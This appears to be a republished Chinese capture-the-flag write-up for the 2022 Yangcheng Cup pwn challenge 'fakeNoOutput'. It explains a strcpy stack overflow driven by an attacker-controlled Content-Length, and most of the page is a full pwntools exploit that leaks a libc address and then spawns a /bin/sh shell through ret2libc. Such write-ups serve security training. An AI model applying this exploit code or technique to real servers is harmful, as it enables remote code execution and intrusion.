pwn2022 羊城杯 fakeNoOutput

Posted woodwhale

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn2022 羊城杯 fakeNoOutput相关的知识,希望对你有一定的参考价值。

【pwn】2022 羊城杯 fakeNoOutput

前言

羊城杯纯纯靠xux大爹带飞,web直接拉满

还有因为re太变态转misc的xunflash,直接misc拉满

pwn手只能靠栈溢出维持生活这样子

题解

漏洞点在upload的函数中调用strcpy会造成栈溢出,这个content_len是用户自己输入的,可控,会截取字段Content-Length:后的数据

虽然看起来没有输出函数,但是提供了一个函数可以传入数据进行输出

使用该函数泄露got表地址

最后ret2libc即可

注意一下,想进入upload,需要通过一部分的校验,头得是post,head还有一个啥来着忘了,然后携带空格,路径是/upload

我这里直接用burp随便抓了个包,之后改个head头还有/upload路径就好了,自定义计算一下Content-Length来处理栈溢出

函数读取/r就会结束读取,然后进入对应的upload之类的函数

直接放打穿的exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/09/03 13:02:48
# -----------------------------------

from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh\\x00'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> times')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    # context.terminal = ['gnome-terminal','-x', 'bash','-c']
    os.system(f'chmod +x sys.argv[0]')
    os.system(f'chmod +x binary')
    elf = ELF(binary)
    path = libcpath(binary)
    libc = ELF(path)
    libc.path = path
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\\xf7',False)[-4:].ljust(4,b'\\x00'))
l64         =       lambda                            : u64(ru(b'\\x7f',False)[-6:].ljust(8,b'\\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name                       : log.success(f'\\033[33mname\\033[0m = \\033[31meval(name):#x\\033[0m')
info        =       lambda data                       : log.info(f'\\033[36mdata\\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'point')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary binary --only 'only' | grep grep"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('  ', '').split('\\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\\n').split('\\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env='LD_PRELOAD':'./'+libc)
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './fakeNoOutput'
init(binary)

da = f'''head /upload HTTP/1.1
Host: 8080.endpoint-bc3378bade99424fb9550659893b4f54.dasc.buuoj.cn:81
Proxy-Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
HTTP_SERVER1_token:114514
User-Agent:114514
Cookie:114514
Referer:114514
Content-Length:4184+17
\\r
'''

s(da)

sl("Content:filename=114514")
back = 0x80496A1
payload = b"b"*(4160) + b"xxxx" + p32(back) + p32(0x8049F77) + p32(elf.got["fwrite"])
# dbg()

sl(payload)

fwrite_addr = l32()
leak("fwrite_addr")

libc = ELF("./libc.so.6")
libc.address = fwrite_addr - libc.sym["fwrite"]
system_addr = libc.sym["system"]
binsh_addr = next(libc.search(b"/bin/sh\\x00"))
leak("libc.address")
leak("system_addr")
leak("binsh_addr")

s(da)

sl("Content:filename=114514")

payload = b"b"*4160 + b"xxxx" + p32(system_addr) + p32(0x8049F77) + p32(binsh_addr)

sl(payload)
# dbg()

ia()

以上是关于pwn2022 羊城杯 fakeNoOutput的主要内容,如果未能解决你的问题,请参考以下文章

pwn2022 祥云杯 部分wp

pwn2022 祥云杯 部分wp

[羊城杯 2020]easyphp

[羊城杯 2020]Blackcat

[羊城杯 2020]EasySer

2021羊城杯(部分web)